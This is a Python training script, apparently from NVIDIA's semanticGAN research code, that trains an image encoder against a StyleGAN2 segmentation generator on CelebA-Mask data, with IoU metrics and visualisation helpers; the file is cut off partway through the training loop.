<filename>semanticGAN/train_enc.py """ Copyright (C) 2021 NVIDIA Corporation. All rights reserved. Licensed under The MIT License (MIT) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import argparse import math import random import os import sys sys.path.append('..') import numpy as np import torch from torch import nn, optim from torch.nn import functional as F from torch.utils import data from torch.nn.utils import clip_grad_norm_ from torchvision import transforms, utils from torch.utils.tensorboard import SummaryWriter from models.stylegan2_seg import GeneratorSeg from models.encoder_model import FPNEncoder, ResEncoder from dataloader.dataset import CelebAMaskDataset from utils.distributed import ( get_rank, synchronize, reduce_loss_dict, ) from models import lpips from PIL import Image from semanticGAN.losses import SoftmaxLoss, SoftBinaryCrossEntropyLoss, DiceLoss from semanticGAN.ranger import Ranger def data_sampler(dataset, shuffle, distributed): if distributed: return data.distributed.DistributedSampler(dataset, shuffle=shuffle) if shuffle: return data.RandomSampler(dataset) else: return data.SequentialSampler(dataset) def requires_grad(model, flag=True): for p in model.parameters(): p.requires_grad = flag def accumulate(model1, model2, decay=0.999): par1 = dict(model1.named_parameters()) par2 = dict(model2.named_parameters()) for k in par1.keys(): par1[k].data.mul_(decay).add_(1 - decay, par2[k].data) def sample_data(loader): while True: for batch in loader: yield batch def make_noise(batch, latent_dim, n_noise, device): if n_noise == 1: return torch.randn(batch, latent_dim, device=device) noises = torch.randn(n_noise, batch, latent_dim, device=device).unbind(0) return noises def mixing_noise(batch, latent_dim, prob, device): if prob > 0 and random.random() < prob: return make_noise(batch, latent_dim, 2, device) else: return [make_noise(batch, latent_dim, 1, device)] def set_grad_none(model, targets): for n, p in model.named_parameters(): if n in targets: p.grad = None def batch_pix_accuracy(output, target): _, predict = torch.max(output, 1) predict = predict.int() + 1 target = target.int() + 1 pixel_labeled = (target > 0).sum() pixel_correct = ((predict == target) * (target > 0)).sum() assert pixel_correct <= pixel_labeled, "Correct area should be smaller than Labeled" return pixel_correct.cpu().numpy(), pixel_labeled.cpu().numpy() def batch_intersection_union(output, target, num_class): _, predict = torch.max(output, 1) predict = predict + 1 target = target + 1 predict = predict * (target > 0).long() intersection = predict * (predict == target).long() area_inter = torch.histc(intersection.float(), bins=num_class, max=num_class, min=1) area_pred = torch.histc(predict.float(), bins=num_class, max=num_class, min=1) area_lab = torch.histc(target.float(), bins=num_class, max=num_class, min=1) area_union = area_pred + area_lab - area_inter assert (area_inter <= area_union).all(), "Intersection area should be smaller than Union area" return area_inter.cpu().numpy(), area_union.cpu().numpy() def eval_metrics(output, target, num_classes, ignore_index): target = target.clone() target[target == ignore_index] = -1 correct, labeled = batch_pix_accuracy(output.data, target) inter, union = batch_intersection_union(output.data, target, num_classes) return [np.round(correct, 5), np.round(labeled, 5), np.round(inter, 5), np.round(union, 5)] def validate(args, encoder, generator, val_loader, device, writer, step): with torch.no_grad(): encoder.eval() generator.eval() total_inter, total_union = 0.0, 0.0 total_correct, total_label = 0.0, 0.0 for i, data in enumerate(val_loader): img, mask = data['image'].to(device), data['mask'].to(device) # shift mask to 0 - 1 mask = (mask + 1.0) / 2.0 latent_w = encoder(img) recon_img, recon_seg = generator([latent_w], input_is_latent=True) if args.seg_dim == 1: label_pred = torch.sigmoid(recon_seg) bg_pred = 1.0 - label_pred mask_pred = torch.cat([bg_pred, label_pred], dim=1) true_mask = mask.squeeze(1) n_class = 2 else: mask_pred = torch.softmax(recon_seg, dim=1) true_mask = torch.argmax(mask, dim=1) n_class = args.seg_dim correct, labeled, inter, union = eval_metrics(mask_pred, true_mask, n_class, -100) total_inter, total_union = total_inter + inter, total_union + union total_correct, total_label = total_correct + correct, total_label + labeled pixAcc = 1.0 * total_correct / (np.spacing(1) + total_label) IoU = 1.0 * total_inter / (np.spacing(1) + total_union) mIoU = IoU.mean() print("===========val miou scores: {0:.4f}, pixel acc: {1:.4f} ========================".format(mIoU, pixAcc)) writer.add_scalar('scores/miou', mIoU, global_step=step) writer.add_scalar('scores/pixel_acc', pixAcc, global_step=step) for i in range(IoU.shape[0]): print("===========val {0} miou scores: {1:.4f} ========================".format(i, IoU[i])) writer.add_scalar('scores/{} val_miou'.format(i), IoU[i], global_step=step) def make_image(tensor): return ( tensor.detach() .clamp_(min=-1, max=1) .add(1) .div_(2) .mul(255) .type(torch.uint8) .to('cpu') .numpy() ) def mask2rgb(args, mask): if args.seg_name == 'celeba-mask': color_table = torch.tensor( [[0, 0, 0], [0, 0, 205], [132, 112, 255], [25, 25, 112], [187, 255, 255], [102, 205, 170], [227, 207, 87], [142, 142, 56]], dtype=torch.float) else: raise Exception('No such a dataloader!') rgb_tensor = F.embedding(mask, color_table).permute(0, 3, 1, 2) return rgb_tensor def batch_overlay(args, img_tensor, mask_tensor, alpha=0.3): b = img_tensor.shape[0] overlays = [] imgs_np = make_image(img_tensor) if args.seg_dim == 1: idx = np.nonzero(mask_tensor.detach().cpu().numpy()[:, 0, :, :]) masks_np = np.zeros((mask_tensor.shape[0], mask_tensor.shape[2], mask_tensor.shape[3], 3), dtype=np.uint8) masks_np[idx] = (0, 255, 0) else: masks_np = mask_tensor.detach().cpu().permute(0, 2, 3, 1).type(torch.uint8).numpy() for i in range(b): img_pil = Image.fromarray(imgs_np[i][0]).convert('RGBA') mask_pil = Image.fromarray(masks_np[i]).convert('RGBA') overlay_pil = Image.blend(img_pil, mask_pil, alpha) overlay_tensor = transforms.functional.to_tensor(overlay_pil) overlays.append(overlay_tensor) overlays = torch.stack(overlays, dim=0) return overlays def sample_val_viz_imgs(args, seg_val_loader, encoder, generator): with torch.no_grad(): encoder.eval() generator.eval() val_count = 0 recon_imgs = [] recon_segs = [] real_imgs = [] real_segs = [] real_overlays = [] fake_overlays = [] for i, data in enumerate(seg_val_loader): if val_count >= args.n_sample: break val_count += data['image'].shape[0] real_img, real_mask = data['image'].to(device), data['mask'].to(device) latent_w = encoder(real_img) recon_img, recon_seg = generator([latent_w], input_is_latent=True) recon_img = recon_img.detach().cpu() recon_seg = recon_seg.detach().cpu() real_mask = (real_mask + 1.0) / 2.0 real_img = real_img.detach().cpu() real_mask = real_mask.detach().cpu() if args.seg_dim == 1: sample_seg = torch.sigmoid(recon_seg) sample_mask = torch.zeros_like(sample_seg) sample_mask[sample_seg > 0.5] = 1.0 else: sample_seg = torch.softmax(recon_seg, dim=1) sample_mask = torch.argmax(sample_seg, dim=1) sample_mask = mask2rgb(args, sample_mask) real_mask = torch.argmax(real_mask, dim=1) real_mask = mask2rgb(args, real_mask) real_overlay = batch_overlay(args, real_img, real_mask) fake_overlay = batch_overlay(args, real_img, sample_mask) recon_imgs.append(recon_img) recon_segs.append(sample_mask) real_imgs.append(real_img) real_segs.append(real_mask) real_overlays.append(real_overlay) fake_overlays.append(fake_overlay) recon_imgs = torch.cat(recon_imgs, dim=0) recon_segs = torch.cat(recon_segs, dim=0) real_imgs = torch.cat(real_imgs, dim=0) real_segs = torch.cat(real_segs, dim=0) recon_imgs = torch.cat([real_imgs, recon_imgs], dim=0) recon_segs = torch.cat([real_segs, recon_segs], dim=0) real_overlays = torch.cat(real_overlays, dim=0) fake_overlays = torch.cat(fake_overlays, dim=0) overlay = torch.cat([real_overlays, fake_overlays], dim=0) return (recon_imgs, recon_segs, overlay) def sample_unlabel_viz_imgs(args, unlabel_n_sample, unlabel_loader, encoder, generator): with torch.no_grad(): encoder.eval() generator.eval() val_count = 0 real_imgs = [] recon_imgs = [] recon_segs = [] fake_overlays = [] for i, data in enumerate(unlabel_loader): if val_count >= unlabel_n_sample: break if args.seg_name == 'CXR' or args.seg_name == 'CXR-single': val_count += data.shape[0] real_img = data.to(device) else: val_count += data['image'].shape[0] real_img = data['image'].to(device) latent_w = encoder(real_img) recon_img, recon_seg = generator([latent_w], input_is_latent=True) recon_img = recon_img.detach().cpu() recon_seg = recon_seg.detach().cpu() real_img = real_img.detach().cpu() if args.seg_dim == 1: sample_seg = torch.sigmoid(recon_seg) sample_mask = torch.zeros_like(sample_seg) sample_mask[sample_seg > 0.5] = 1.0 else: sample_seg = torch.softmax(recon_seg, dim=1) sample_mask = torch.argmax(sample_seg, dim=1) sample_mask = mask2rgb(args, sample_mask) fake_overlay = batch_overlay(args, real_img, sample_mask) real_imgs.append(real_img) recon_imgs.append(recon_img) recon_segs.append(sample_mask) fake_overlays.append(fake_overlay) real_imgs = torch.cat(real_imgs, dim=0) recon_imgs = torch.cat(recon_imgs, dim=0) recon_imgs = torch.cat([real_imgs, recon_imgs], dim=0) recon_segs = torch.cat(recon_segs, dim=0) fake_overlays = torch.cat(fake_overlays, dim=0) return (recon_imgs, recon_segs, fake_overlays) def update_learning_rate(args, i, optimizer): if i < args.lr_decay_iter_start: pass elif i < args.lr_decay_iter_end: lr_max = args.lr lr_min = args.lr_decay t_max = args.lr_decay_iter_end - args.lr_decay_iter_start t_cur = i - args.lr_decay_iter_start optimizer.param_groups[0]['lr'] = lr_min + 0.5 * (lr_max - lr_min) * ( 1 + math.cos(t_cur * 1.0 / t_max * math.pi)) else: pass def train(args, ckpt_dir, img_loader, seg_loader, seg_val_loader, generator, percept, encoder, e_label_optim, e_unlabel_optim, device, writer): img_loader = sample_data(img_loader) seg_loader = sample_data(seg_loader) if args.seg_dim == 1: ce_loss_func = SoftBinaryCrossEntropyLoss(tau=0.3) dice_loss_func = DiceLoss(sigmoid_tau=0.3, include_bg=True) else: ce_loss_func = SoftmaxLoss(tau=0.1) dice_loss_func = DiceLoss(sigmoid_tau=0.3) pbar = range(args.iter) loss_dict = {} if args.distributed: g_module = generator.module e_module = encoder.module else: g_module = generator e_module = encoder for idx in pbar: i = idx + args.start_iter if i > args.iter: print('Done!') break if args.seg_name == 'celeba-mask': real_img = next(img_loader)['image'] else: raise Exception('No such a dataloader!') real_img = real_img.to(device) seg_data = next(seg_loader) seg_img, seg_mask = seg_data['image'], seg_data['mask'] seg_img, seg_mask = seg_img.to(device), seg_mask.to(device) # train encoder requires_grad(generator, False) requires_grad(encoder, True) # =================Step 1: train with unlabel data ============================================== latent_w = encoder(real_img) fake_img, fake_seg = generator([latent_w], input_is_latent=True) # detach fake seg fake_seg = fake_seg.detach() e_unlabel_mse_loss = F.mse_loss(fake_img, real_img) e_unlabel_lpips_loss = percept(fake_img, real_img).mean() e_unlabel_loss = (e_unlabel_mse_loss * args.lambda_unlabel_mse + e_unlabel_lpips_loss * args.lambda_unlabel_lpips) loss_dict['e_unlabel_mse'] = e_unlabel_mse_loss loss_dict['e_unlabel_lpips'] = e_unlabel_lpips_loss